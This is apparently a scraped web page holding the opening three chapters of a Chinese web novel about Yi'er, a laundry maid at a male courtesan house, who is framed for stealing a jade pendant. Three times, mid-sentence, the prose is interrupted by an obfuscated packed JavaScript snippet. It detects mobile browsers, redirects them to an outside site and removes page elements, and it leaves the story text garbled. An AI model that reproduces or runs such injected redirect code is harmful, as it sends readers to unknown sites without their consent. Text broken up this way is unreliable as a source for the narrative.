《脂粉味重》 1. 第 1 章 “贱男人!” 白皙的巴掌扇在男子秀气的脸庞,金钗玉镯的女人还不解气,一脚踢翻茶几,几案上的糕点茶食泼洒一地,溅在本就伏在地上清理酒杯碎片的杂役身上。 大堂的歌舞瞬时唱得更响,舞得更劲,试图压过这片嘈杂。 女人几乎是用手指点着跪在席上的男人,“没了我你还有这么多金银珠宝、珍馐美馔吗?可笑,说两句好话哄哄都不会?” 她叉着腰直起身,翻了个白眼。 “万金姑娘莫气,气坏了身子多不值当呀哈哈哈!”身后响起男子爽朗的笑声。 万金冷哼一声,她盯着慢悠悠走来的肥圆男子,这山一般的体型正昭示着他日子的滋润。 “王馆主,我为冠玉馆抛的银子不少吧?为井琼更是不少吧?” 王乌脸上笑意不减,“那是!多亏姑娘日日照顾咱生意,不然还不知道吃多久西北风呢!姑娘是咱大恩人~更是井琼的大恩客~” 他蹲下身,抬起井琼下巴,献宝般道:“您瞧,这水光红润的脸,可不都多亏您的照料~” 万金一甩袖,扭身坐下,“照料个屁!惹我生气了连句话都不会说,痴痴傻傻,我不要了!你给我换个人来。” 一直闷声不吭的井琼听到要失去这半个月的常客,吓得要张嘴,被王乌暗暗拧了大腿,疼得俯下身去。 王乌笑道:“换!马上换!万姑娘钟意谁?” 万金一挑眉,“都叫来。” “好嘞。” 不消多时,有红有绿、有紫有蓝的一排人立于她面前。 王乌清清嗓子,“红璎、雀琳、怀瑜、符环、冷琪、术璞,都是些会说话的。” 最左边的男子一身火红,浓妆艳抹,粉搽得比万金还厚,她嫌弃地蹙蹙鼻子。 再看他旁边,弱不禁风,瘦得两颊都要往骨头贴了,跟没吃过饱饭似的,她无语地撇撇嘴。 这种脂粉小生,她是真看不惯。 一眼掠过“歪瓜裂枣”后,万金眼睛落在最右边清秀文静的男子身上。 他不像旁人那般直直望着她,而是微垂着头。 万金手一撑站起来,“这个好,走,且随我去二楼投壶!”她人高长,一把揽过男子的肩,潇洒地往上走去。 其余几人见她上楼了才闲话起来。 雀琳扶着脸,“脾气这么大的主儿,幸亏不是我伺候。” 井琼揉着大腿起身,“说话又粗俗,从没听过闭城有什么姓万的大小姐,这怕不是个女飞贼来咱这儿销金了。” 王乌笑容垮下,瞬间老了许多。他一拍井琼肩膀,“嘘!真金就是真金,你管他哪来的。下次嘴甜点,女人爱听的来来回回就那些话,糊弄着哄上两句不就是了?” “知道是知道,可她那气焰,真是张不开口……” 王乌瞪他一眼,“有得挑吗你?长点记性吧!” “王馆主!” 有纤纤玉手招迎,王乌又笑容灿烂地走过去,“来了来了!”声音急切而脚步迟缓,正如他做人的准则——糊弄糊弄。 剩下几人也四散而去,终于将地面擦洗完毕的杂役抬起头,她粗糙野生的眉前深后浅,眼睛鼻子凑成一副朴实沉稳的模样。而这个沉稳的姑娘,脸上正沾着污水珠。 路过的红璎低眼一瞧,噗地笑出声,“宜尔,你是用脸收拾的么?脏兮兮的。”他笑着将手帕甩在她身上,翩然离去。 怕滑落地上,宜尔赶紧用手抓住,擦了擦脸。 她看向远处的红璎,他被王乌拦在那桌,嬉笑的女客瞧见他的模样,笑得直不起腰来,“哎哟!哪来的娇娘子?” 红璎也笑,一扬眉,“真是醉了,连男女都辨不清了!” 一桌人笑作一团。 宜尔收回眼,又拿了条干净的麻布,跪下身去将水痕擦干,免得有人踩滑。 “宜尔,宜尔?”头上清和温柔的男声呼唤她。 宜尔站起身,看向男子。他不施粉黛,面庞仍白里透红,俊鼻俏眉,一双瑞凤眼弯弯,含着笑意却自带疏离之感,当真是仙姿玉质,不愧是冠玉馆头牌逐璧。 宜尔看着他,等着他发令,然而逐璧却将半个身子压过来——他总是不擅把控与人之间的距离,或者说是习惯了,这样的若即若离令无数女客为其倾心。 他身上有清淡的橘类香气,声音很轻,“你往后若是捡着什么了,千万记得先拿来给我。” “公子掉什么了?” 他退回去,笑意浅浅,“什么都行,记得来找我。”说罢便款步离去,留下一头雾水的宜尔。 毕竟是头牌交代,宜尔还是将此事放在心上。她将地面抹干后,又被叫去清扫了许多桌,都没瞧见什么弃物。 将一切收整好后,她终于熬到亥时,请了几个时辰假的莺语回来了,还给她捎了半只烤鸡。 两人舀了两碗米饭,又让柴爷给炒了盘野菜,坐在厨房后院的合欢树下借着月光吃。 “宜尔,你好久没去前堂了吧?感觉如何?”莺语掰下鸡腿往她碗里放。 “谢了。感觉心累。” 莺语溜圆的眼睛瞪大,神情浮夸,“啊?可是遇着什么刁蛮小姐了?还是哪个倌人发火了?” 宜尔将万金和逐璧之事说了一番,“女人男人都可怕,一个阴晴不定,一个话也不说完,还是在后院洗衣裳的好,以后都不帮你代班了。” 洗衣裳虽然手胀屁股酸,但没这么多事。 “别嘛~”莺语晃晃她手臂,“看在烤鸡的份上,以后还帮我好不好?” 宜尔笑了一声,“说笑的。我就你一个好友,还会不帮你吗?” 莺语甜甜一笑,露出一边虎牙,“我知道的。” 宜尔夹了筷子野菜,清香脆嫩,“你和那教书先生今日进展如何?” “唉!”她皱起眉,又愁又委屈,“之前都很好,今日我一说在小倌馆洗衣裳,他就说我有辱斯文,吹了。” 宜尔摇头,“说明这男人度量不够,以后定是要跟你计较油钱分两的那种人,吹了也好。” “可我明年就十八了,再嫁不出去,以后就更难了。” “你要我这个二十的说什么?” 莺语嘿嘿一笑,“王媒婆最近没给你介绍了?” “我让她把我的生计先告诉人家,这肯来见面的都少了。” “反正你准备待到给柴爷养老送终,不急。” 宜尔点点头,“而且我自己有在攒钱,有点钱的女人找个丈夫不难。大不了找个穷书生供一下。” “万一变陈世美你不得亏死?” 宜尔笑笑,“我很好说话的,给点封口费和养老钱就行,不是非要做状元夫人。” 莺语捧着下巴,“我倒是很想做状元夫人。” “你啊,会做白日梦!” 两人相视而笑,莺语突然“欸”了一声,“听说红璎明日就要走了,你可晓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559158|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 宜尔舀了勺辣椒油进自己碗中,“要去别的馆还是被人赎买了?”又夹了块鸡肉蘸上去。 “他自己赎自己!不过明面上是那寡妇赎他啦。我听厢房杂役说的。” “难怪他今日格外笑意盈盈的。红璎公子在馆里一直没什么人气,好不容易攒够钱退了也好。” 莺语叹了一声,“是啊,这馆外多是男人说了算,馆内却要听女人话,没几个男的能忍受吧?” “我觉得内外都是钱说了算,没什么区别。” “也是,还是你说得对。” 两人用完了饭,又各司其职去。 夏日的衣衫、桌布都薄,秦姐姐白日里洗了不少,宜尔加紧动作,半个时辰便将剩下的搓净、拧干、晾好,再去收已经干了的衣裳,放在熏衣房内,回到自己房间。 她抻抻胳膊和腿,端着油灯放在床头桌柜上,又从床头拿出巴掌大的书册躺上去,双腿蜷曲,膝盖搭着书,两手则搓着滋润用的桂花胰子。 桌上的灯芯已快燃尽,风一吹便开始飘摇,连带着屋里忽明忽暗。 “呼”的一声,完全漆黑,宜尔也睡下了。 翌日,鸡还没叫她就先醒来,睁着眼睛一直发呆到鸡叫她才爬起来,起身去井边打水。 清晨青雾蒙蒙。 宜尔眼睛呆散地看着外面,一边慢慢将水桶从井里拉上来,直到有人叫住她,她才从这出神的状态中回来。 莺语红肿着眼眶,一看就知道昨晚回去悄悄哭了一夜。 “牛刚昨夜跟个女的跑了,人手不足啊,宜尔,你不顶我的也要顶别人的班了。” “这样……我没什么,只可怜秦姐姐,昨天洗得她腰病都要犯了,我也不能代太长时间。” 莺语挠挠头,仰天长啸,“啊——馆主能不能多找点人啊!铁公鸡没救了!” 宜尔笑了笑,“好了,买菜去吧你,别耽误我干活了,我午后会去前堂的。” 莺语依依不舍地离开,宜尔打起精神,手脚麻利地拎着水桶去洗院烧皂角水。 莺语一般早起买菜后回来都要补觉,午饭宜尔就自己一人吃。等吃完了来到前堂,发现只有逐璧一人持着本书册,面向门口坐着。 他身姿挺拔,玉色的衣衫整洁熨帖。瞧见她走来,他笑着点头问候。 宜尔没来过前堂几回,不知他是什么用意,也只好点了下头,从他身侧走过去,却瞥见他手里是本yàn情小说。 坐在大门口面不改色地看这种书……宜尔深不能解,也不敢多想,拿起扫帚开始开门前的清扫。 冠玉馆一般是有人负责夜里将垃圾收走,午后再由其他人扫过、擦过一遍,确保没有脏处。 扫帚刷刷两下,门上也咚咚两声。 宜尔抬头看去,一个背着长剑、浓眉大眼的高大男子正站在门前。 逐璧抬头望他一眼,又低回头看书,一副不便搭理他的模样,男子顿时面生窘意。 宜尔小跑过去,“公子可是要问路?” 男子脸色总算舒缓些,“敢问姑娘,此处可是冠玉馆?” “是的。” 他从衣间拿出一锭银子,“我要在此住上几日。” 宜尔接到银锭时有些傻眼,但很快意识回来。好男风啊……但他们这儿也不对啊。 “公子,男风馆在对面。” 她话音刚落对方就红了整张脸,“不、不是。我就想住这儿。” 2. 第 2 章 真是驴头上长角——怪事一桩。 王乌左走走,右走走,肥胖的身子晃了又晃,“这江湖上赫赫有名的六剑公子叶为春,好端端跑来我们这儿住作甚?这儿又不是客栈。宜尔,他当真没别的要求了?” 宜尔答道:“只说了不要透露他住在这儿,没别的了。” “怪哉……” 莺语一拍手,“怕不是惹上什么仇人了?武侠小说里不都这么写么?我记得叶为春前两个月同金狂刀客比试,几剑就赢了。还有三个月前上山剿匪……他仇敌无数,很可能遇着棘手的了,想找地方避避,毕竟谁能想得到江湖侠客住在咱这种地方。” 王乌摸摸下巴,“管他呢,给钱就行。你们好生伺候,这叶为春是金湖山庄的小公子,富得流油啊。” 宜尔:“既然如此,馆主应该有钱聘个新杂役了吧?” 王乌搓搓手,“在聘了,但这年头人不好找啊,咱又是这种地方,对吧?辛苦你俩了,尤其是宜尔,来回跑。等这阵子过了,一定让你好好休息几天!” 每次忙时都是这套说辞,从没放过大假的宜尔和莺语耳朵都听腻了。 莺语放弃挣扎,转而八卦:“欸馆主,我听说红璎今日要走?” 王乌摸摸自己的圆肚皮,感觉该减减了,“是啊,约好日落时来送赎金。哦对了,宜尔,你去帮他收拾行囊吧,顺道替我送送他。” 莺语眯起眼,“馆主你竟然这么轻易就放人走了?” “瞧你,把我想成什么大恶人。钱额定在那儿,人家既然够了,要走就走呗,反正红璎也不当红。” 王乌突然惆怅地叹了一声,“白驹过隙啊,想当年我在庙里捡到他时,他还是个青头小子,没几年逐璧来了……” “馆主老啦,老啦!”莺语笑着戳破他的感慨。 王乌挤出笑容,“活都干完了?宜尔,你快去吧。” “好。” 想着红璎给她的手帕还未还,宜尔也没什么意见,前去厢房找他。 门还未开,宜尔就听见屋里传来低沉的哼唱。她这才想起,最开始的时候,红璎是以唱曲闻名,往后来了嗓音更好的雀琳,他也就很少唱了。 长江后浪催前浪,世上新人换旧人。难以抵挡。 “公子,我是宜尔。馆主叫我来替你收拾东西。” 唱声戛然而止,“进来。” 宜尔一进门就看到一袭蓝装的红璎坐在妆台前往脸上糊粉,颜色浓重。 “公子今日出馆也要化这么浓的妆吗?” 红璎对着铜镜左瞧右望,“这浓吗?” 宜尔才知他原来当真毫无自觉,“……有点。” 外头的富家子弟这几年虽也兴起敷粉之风,但也没这么浓的,出去了怕是要惹人非议。 宜尔这样想,却不敢说得如此确切。毕竟人家就要出去了,何必扫人心情? “我的眼睛不大好看,鼻子上痣也多,不遮不行啊。”红璎一边说着,一边往眼角抹蓝,又往脸上扑粉,直至遮得严严实实了才安下心来。 “宜尔,”他突然笑着唤她,“你瞧是这银镯好还是玉镯好?” 在后头整理衣物的宜尔走上前去,看他两边手指各挂了一只镯子。 “我想送她一只,然后将另一只卖了做家用。像我这样精打细算的贤夫是不是屈指可数?”他挑挑眉,转着两只镯子,有些小骄傲。 “玉的既贵重又清雅,女人更喜欢。” 红璎笑着点点头。 看着他笑,宜尔也不禁莞尔。其实她是真心为他的幸福感到开心。 红璎是冠玉馆的老人了,宜尔人在后堂,经常远远瞧见他路过,但鲜少与之会谈,只偶尔听其他公子吐槽他骚气傲慢,处于半熟不熟的状态。 但那难得的几次碰面中,红璎都待她不错。而且他的里衣也总是自己洗,从不送来。她一直觉得他人不错。 再说,在这样的所在,自己助自己脱离苦海,总是令人钦佩的。 “对了公子,你上次借我的手帕,”她从衣间拿出叠好的帕子,递过去,“多谢。” “你随身带着?”他诧异,又笑着摇摇头,“行李太多放不下了,你随意处置吧。” “好。” 红璎开始收拾自己桌前的东西,一半拿去卖,一半带走,左右分明。待整理好后一回头,宜尔已经将他的衣物都折放进箱中,“公子,就这些吗?” “嗯,其他的都要卖了。” 宜尔看着弃筐中那堆红衣裳,“这有许多件我经常见公子你穿,还以为你格外钟爱。” 她每次洗这几件时都收着力,怕次数多了、力道大了,衣衫会褪色。 红璎瞟了一眼,“其实我不喜欢红色。”他有些低沉地说,但很快又扬起声调,“都收好了我们便去后门等吧,我让她帮我约了车马。” “……好。” 红璎的行李并不多,拎出来的就两箱,大半都留在屋里。他懒得一样样讨价还价,早找了人之后一道收走。 不过两个箱子都塞得满,还是很沉。他的房间离后门近,红璎左右各拎一个,自己一个人全搬了,不让宜尔动手。 他将箱子放在门槛内,跟宜尔一人坐一个,等着车马来。 车马何时来呢?车马应该在黄昏时来,可车马没来。那个女人也没来。 红璎走出去看了好几回,都没瞧见熟悉的身影。身旁一直有人进进出出,他逮着就问有没有见到一个清癯端庄的女子,可人们只是摇头。 宜尔眼见着他从又气又笑地骂那女子记性真差,连时间都会弄错,到一言不发地望着对面的老翁踩着凳子挂上灯笼。 天黑了,星星都已被擦亮。 红璎盘腿坐在箱子上,脸在黑夜中晦暗不明。 宜尔什么也不敢说,什么也不忍心问。实在是被蚊子咬得疼了,又想着前堂莺语忙碌,她才伸手要将箱子拎起,“我先抬回去吧。” 红璎忽地站了起来。 他气冲冲地转回身要踹脚边的箱子,想想又心疼,放下了,痴痴地望着箱子。 红璎被人骗了,整个冠玉馆都知道了。 回到前堂干活的宜尔一边擦着桌案,一边想着那失落的眼神,心口空荡荡的。为何这世上痴情人总被辜负? 她低头暼向倚在男子怀中娇笑的女子,而男子则每每趁对方不注意露出嫌弃的神情。 世事真是不公,换一下就好了。 欢声笑语中、嬉笑怒骂间,半轮明月从最西边一直往东攀。 宜尔以前回房都很早,昨日已经很晚了,今日更是晚得不能再晚,甚至还被喝醉的客人灌了几壶酒。 她叹气,扶着头往外走。□□院中的合欢花虽已闭起,但仍清香袭人,宜尔的脚步不自觉便追着这气息而走,想在夜里赏赏花。 粉霞之下,另有一片蓝影。看来有此想法的不止她一人。 宜尔看到人影本想退走,留意到那熟悉的浓妆时却止住了脚步。看他抱着酒坛一口接一口,几番犹豫后,宜尔走上前。 “这酒喝多了,翌日头会很疼。”王馆主为了省钱,让柴爷他们兑了不少水进去。 红璎抬起脸,一张脸哭得稀里哗啦,妆糊了大半,白里抹蓝,大半夜的跟鬼一样,给宜尔吓了一跳。 看到有人过来,红璎跟被踩到尾巴的猫似的,直接炸起,“你也来看我笑话是不是!?你凭什么?你个矮冬瓜!断眉怪!” 飞来横祸,莫名其妙挨骂,酒意上头的宜尔也破口大骂:“你凭什么骂我?你才花里胡哨!妖里妖气!” “你不过是个洗衣裳的贱命!” “那也好过千人睡万人尝的卖笑人!” “哪有那么多人!” “我哪里矮!”宜尔也喊回去。 两人吵得头疼,红璎气冲冲地坐回去,宜尔也捏着拳头站在树下。 夜里的冷风吹凉了脸,宜尔发起呆来。她突然不明白自己为何大半夜在这儿和人吵架,回去睡觉不好吗?明天还得早起,说不准现在已经到明天了…… “抱歉,我乱发脾气。”旁边嘀咕了一句,宜尔还以为是自己听错了。 “抱歉。”他又轻声道。 她看向他,“我也不对,骂得那么难听。” 红璎忽然就笑了,“一个贱命,一个贱人,都贱,也不知争什么……” “我不觉得自己的命贱。我娘费劲将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559159|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我养大,我自己又辛辛苦苦把自己养到这个岁数,是很金贵的。”酒真是可怕的东西,宜尔难得同莺语外的人多说。 红璎有些发愣,“是啊……都金贵……我的钱也很金贵……可如今是个人都来笑我……” 宜尔方才在前堂确实听到几个倌人窃窃私语他的事,“倒也没那么多,笑你的人本就讨厌你,常人怎会觉得被骗光了钱好笑?更多是可怜你。” 宜尔这么一说,红璎哭得更凶了,拎着酒坛猛地一灌,一大半都没喝进去,哗啦啦全洒在身上,将衣衫浸透。 酒坛咚地一声立在桌上,他用袖子一抹嘴,还是湿的。 宜尔看不下去了,持着一种兔死狐悲的心情,递过手帕,“擦擦吧。弄这么湿,夜里风凉,说不准要染风寒。” “像我这种被人骗的傻子,得风寒死了算了。”他盯着她的手帕,喃喃道。 眼泪又从他眼眶里流出,“你可知她为何没来?她跟牛刚一起带着我的钱跑了。你说我哪点不如他?” 居然是牛刚……难怪这么巧他昨夜也不见了。宜尔回想了下牛刚的模样,高大结实、沉默可靠,是个很有男子气概的人。想来那寡妇是更钟意这类人吧? 红璎仍在哭诉:“我精挑细选,找了个勤奋老实的苦命女子,观察了两年,将我全部家当都交给她,让她去邻城买田地、屋宅,然后回来赎我。” 他吸吸气,“你知不知道,我从来不哄骗过哪个女客,我都是老老实实,逗她们笑,陪她们玩,挨了不知多少巴掌,才攒到那些钱……我的钱……”他哭得更凶了,一把鼻涕一把泪,邋里邋遢,任谁看了也猜不出这是冠玉馆的小倌。 宜尔看他如此也有些心酸,若是她攒的钱被别人骗走了,估计哭得比他还凶。 “不是你傻,是骗子心坏。他们好吃懒做,所以才爱偷别人的成果。” 红璎痴愣。 宜尔往厨房走去,端了盆水出来,将帕子濡湿,又往他脸上一抹。 知道他醉了,她下手也很随意,不求轻,只求擦得全面。 一帕子抹完,他脸上粉掉了大半,宜尔不禁感慨:“你这粉不牢啊。” 红璎呆呆回道:“钱都省着了,胭脂自然凑合。” 冷水洗脸,他稍微清醒平静了些,接过手帕自己蘸水擦。 等他擦净了宜尔才发现他的眼睛是细长低垂的,而不是炭线画出的那种宽大,鼻尖上有一颗小黑痣,斜侧往上又有一颗,点缀其上,有丝清远又魅惑的气息。 “你素着好看多了。”她坐到他对面。 红璎擦脸的动作一顿,有些责怪地瞟她一眼,“这种时候哄我?” “我不会哄人,说的是真话。” “真好……”红璎忽而笑了,笑得柔情似水,“真令人羡慕。”眼中又滴下晶莹的泪来。 “……钱再攒还会有的。” “那是我多年的积蓄。而我已是明日黄花,攒钱谈何容易?再寻一个不辜负的有情人又何易?” 宜尔看着他,看着看着突然跑到合欢树后面用木棍挖土,刨了一会儿后,她拿着个满是泥巴的袋子走过来,放在水盆里搓洗,然后将袋子一整个给他,“这些给你。” 她在这里藏了三袋钱,等着以后用来成家。 宜尔的脸颊是酒意的酡红。红璎撑着脑袋一偏,笑出声,“喝醉啦?” “没。谢谢你当时给我的帕子。” 红璎以看怪胎的眼神看她,默不作声将钱推回去,又被推回来。 “这是我的钱,我想给谁就给谁。” “就为了块帕子?” “为了支持同道中人。” 红璎扬眉,“我和你怎会是同道中人?” “同在攒钱改变命运之道。”她面上有一种平静的骄傲感。 红璎噗嗤一笑,又沉思半晌,忽然严肃道:“那我们往后便结为挚友如何?互帮互助,此树作为见证。” 宜尔笑了笑,“好。” 红璎将冰凉的钱袋拢在怀里,慢慢侧趴下去,浅浅地笑了,星星、月亮和宜尔落在他眼里,是那样闪烁明亮。 “谢谢你……你明天可不要后悔。” “不后悔。” 3. 第 3 章 有点后悔。 宜尔翌日一早醒来,又困又累又头疼,还损失了攒的一袋钱。 虽然可惜,但送都送了……而且她暂时不急着嫁人……而且钱还可以再攒……而且做好事是会得到福报的……总之,就这样吧。 宜尔洗了把冷水脸,又用柴爷给她留的淘米水泡了泡手,然后去打水烧水,一边干着活,意识却总要飘乎四海。 太久没碰酒,宜尔喝一晚就头疼头晕,前堂那些人却能天天喝…… 宜尔又跑去厨房喝了碗柴爷熬的醒酒汤,回洗院加紧动作。 洗院只有宜尔和秦姐姐两人,为了好休息两人错时干活,上午宜尔,午后秦姐姐,傍晚再由宜尔收干了的东西,熏衣物……最后检查一番即可。 由于她现在还兼任杂役,从明日起她和秦姐姐便换一下时间。 值得庆幸的是,冠玉馆不算太大,人也不多,宜尔还不至于焦头烂额。她听说金玉堂那边光前堂就得十几个人一道清扫。 金玉堂是今年刚开的,不知哪来的大财主,抛金丢银建了那么一幢。他们冠玉馆这种老地方,除了逐璧也没什么红人,只能靠着老恩客。 不过即使如此,王馆主仍然懒懒散散,天黑才开门。 宜尔将大盆中的衣物分类放在小盆中,然后将烧好后晾温的水倒进去,一屁股坐在小板凳上搓。搓完一盆又换下一盆…… 搓得累了,她直起腰望望远处,然后又折下腰去拎起衣衫一抖,扑通一声,有什么掉进了水盆中。 宜尔捞起一看,是半块刻着“辟土”字样的圆滑碧玉,晶莹剔透得动人。 小倌里粗心大意的不在少数,宜尔习惯性地将东西折进麻布中,又看了一眼大盆上的字样,用墨笔在布面写上房间号:玉二三。 玉二三……宜尔记得这是那个侠客叶为春的房间。怕他尴尬,馆主没让他去暖阁住,住进了倌人们住的厢房。难怪衣裳料子这样好。 她将东西用绳子缠好放进竹筐中,想着之后杂役来取,突然又意识到牛刚不在,现在只能她去送。 洗完衣裳,宜尔揣着布包往厢房去,迎面却碰上了逐璧,他坐在长廊栏杆上喂池中鲤鱼。 转首见她来,他笑,“宜尔。” 宜尔点头,“见过逐璧公子。” 他眼睛下撩,落在她手上,“那是何物?” “叶公子衣服里落的东西,我正要送过去。” 逐璧垂下眼,慢慢起身走来,“宜尔,我去还吧。我正好想向叶公子讨教两番,你将这人情卖给我,将来我再报答你如何?”他靠近时,宜尔能闻到比往常更浓的甜丝丝的果香味。 逐璧善剑舞,宜尔不是不能理解他想向六剑公子学习的心。 “我明白了。”她将东西递过去,逐璧收下,指尾若有似无地抚过她的手背,笑得温柔,“多谢。日后……定会答谢你。” 宜尔忽视手上留下的痒意,“公子言过了。那我便先回去了。” “好。” 宜尔将熏好香的衣物给各房送去,然后便去前堂,然而前堂却干干净净,木质的地面润泽有光。 逐璧这回没有在门口待着,宜尔想着他说要报答自己,不禁猜想是不是他替自己打扫了。 莺语欢天喜地从门外跑进来,“宜尔!宜尔!” “莺语?”宜尔又多了个猜想,“这你收拾的?” “不是~我方才去问人,说是红璎昨夜喝多了,把厅堂擦洗了个遍。哎呀,若是个个都发这样的酒疯就好了。” 宜尔笑了笑,他这“挚友”倒当得像模像样。 “宜尔,你昨晚忙,早上也忙,趁现在回去补觉呗?晚上还得忙呢。摆东西这种小事我一个人一会儿就干完了。” “好,谢谢,要辛苦你了。” “什么话,我吃苦耐劳着呢!”莺语撸起袖子。 除却一早上醒来时有些没精打采,宜尔后来一直忙着干活,已经不觉得自己困了,可没想到一沾枕头就睡着了。 睡得正沉时,宜尔被敲门声惊醒,她当即以为自己睡过了头,可再一看天还亮着。 她疑惑地坐起身,“来了!”穿上外衣和鞋子去开门。 一开门就见王乌阴着脸。 “馆主?怎么了?”她走出来,顺手带上门,而这个动作落在另一人眼中却变了意味。 站在后头的龟公宋勇男啧啧摇头,“还以为你宜尔是个老实人,没成想也会为金钱昏了头。” 宜尔扫了一圈人,除了两个龟公、两个梳妆丫鬟和王馆主,叶为春竟也在,他沉着一张脸。 王乌长长叹了一声,厉声道:“你也知道,我最恨手底下有人手脚不干净!叶公子有一块刻字宝玉丢了,应该是落在送洗的衣物中,你一整日都不曾归还,是不是私藏了?” 宜尔有些心慌,但仍镇定平静答道:“我洗衣裳时是捡到了块玉,但我给逐璧公子了,他说代我转交。” “胡说八道!”王乌突然一吼,吓得宜尔一颤,“逐璧今日一早便外出了,如何替你转交?” 有个想法冒出来又被宜尔压住,她辩驳:“可我午前确实在厢房见到他了。等逐璧公子回来问问他如何?” 王乌回头看叶为春,他皱着眉点了点头,王乌便看向一旁吩咐:“勇男,你去厢房看看逐璧回来没。” 宋勇男快步离去,剩下几人面色沉重。 等他回来时,带上了逐璧。 一直紧绷着脸的宜尔舒了口气,“公子,我今日午前给你的那块玉,你可是还没还给叶公子?” 逐璧蹙眉,“什么玉?我们今日何曾见过面?” 宜尔哑然。那个她不愿相信的猜想还是成了真。逐璧真是故意栽赃她的。 王乌一咬牙,“勇男!陈福!上板子,打得她将东西交出来为止!你们两个,进去搜。” 丫鬟们点头,推门走进她屋内。 “不是我偷的!”宜尔两只胳膊被架起,整个人离地。陈福将她按在长凳上,宋勇男则举起大板二话不说就打了下去。 一板子下来,屁股辣痛,她咬牙,“我没偷!” “还不认罪!”王乌摇头,一副恨铁不成钢的样子。 又是一板落下,砸在方才被打的地方,痛上加痛,宜尔仍然道:“我没偷!” 连着几板子落下,宜尔的屁股发痛发涨,可她还是每次都说“我没偷”。 门外哒哒哒传来跑步声,“宜尔!”莺语慌慌张张地冲上前,被王乌拦住,“你来添什么乱?” 莺语在外面听另一个杂役刀鱼说宜尔偷了叶为春的东西,就赶紧跑来,没想到直接就到逼供的环节了。 莺语抓着王乌的胳膊,眼眶中盈满泪水,“宜尔怎么会偷东西呢?馆主,你看着她从小长大的,你应该最清楚不过了啊?” 又是一板落下来,宜尔顶着一口气,仍然道:“我没偷。” 莺语慌乱地看向她,“宜尔都说自己没偷了!你们怎么能这样呢?!” 王乌拧着眉头不搭理她。 莺语推开他,又去拉宋勇男,然而被一掌推在地上。她扑到宜尔面前,“宜尔,是不是落在哪里你忘了?你快想想。” 宜尔疼得牙齿打颤,她摇摇头,“真的给逐璧了,真的。” 她抬眼看他,逐璧面容平静地望着她,没有平日若有似无的笑,只是平静地看着她,仿佛在看一出无聊的戏剧。 搜找的人出来了,“回禀馆主,屋中没有。” 王乌:“到底藏在何处了?还不老实交代?!” “没有……” 叶为春看着宜尔,想着第一日她迎上来的模样,终究是动了恻隐之心,“算了,我再去别处寻吧。” 宋勇男停手看向王乌,王乌摆摆手。 宜尔撑起自己,莺语哭得泣不成声,上前去搀扶她。 宜尔吸口气都觉得屁股疼,两条大腿也酸软,可她还是一步步走向叶为春,“叶公子,我真的没偷,交给逐璧公子了。” “可我确实亲眼见他出门了。” 宜尔抿着唇,“我说的是真的。”她只能这样苍白无力地喃喃。 “我说的也是真的。”逐璧道。 宜尔转头,将目光移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559160|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向自己肩侧的逐璧,他身上那种甜中带着丝丝清苦的气息是那样清晰。 逐璧雅然的眉一蹙,露出一副困惑的神情,“我们素来无仇无怨,不知你为何要嫁祸我?” 宜尔就那样直直地盯着他,“现在有了。” 逐璧无奈地摇首,“偷了东西还这样理直气壮,真是令我失望。” “你更令我失望。” 莺语擦擦眼泪,愤愤道:“你们有证据再打人啊!太过分了!乱用私刑!我真想去官——” 宜尔捂住她的嘴,摇摇头,“送我回房吧。” 莺语含泪点头,将她托回了房间。 屋子里被人翻得乱七八糟,莺语让她撑着墙,自己赶快去将床铺整理好,又将冬被拿出来垫在最下面,扶着她过去趴下,换衣服上药。 从头至尾,宜尔都没有再说一句话。莺语更是说不出话,一开口就要呜呜落泪。 宜尔叹了声气,拍拍莺语的肩膀,“回去吧莺语,你耽搁久了,之后活干不完要累着了。” “可是你……”泪水糊住她的眼睛,什么都看不清了。 “我反正也就只能这样趴着,快去吧。” “好……那等我晚上来看你,我们到时候再聊。”莺语左顾右盼,找到她的书塞在她手中,“你看看书。” “嗯,快回去吧。” 莺语走出去带上门,吱呀一声,门口的日光被黑暗吞噬。 * 红璎昨天擦地到天亮,回来一觉睡到天黑,醒来时便听说了这桩偷玉事件。 想着那个说攒钱之道时骄傲宁静的神情,红璎是不大相信她会干这种蠢事,而且这么多年,早不偷晚不偷…… 红璎收拾一番要去后院看她,刚走几步就被王乌拦住。 “这可不是去前堂的路,做什么去?” “去看被你诬陷的宜尔啊。馆主你以前可不是这种严酷性格,收谁钱了?” 王乌什么也没说,叹了又叹,叹了又叹,他环顾四周,确认无人后拿出十两银锭塞到他手里,“你替我拿去给宜尔吧,找个好大夫治治,别落下什么疤痕。” 红璎知道问不出什么也就不问了,直接去后院找宜尔。 他以前从没来过这个地方——宜尔住在冠玉馆最靠里的地方,再走几步就到外墙。 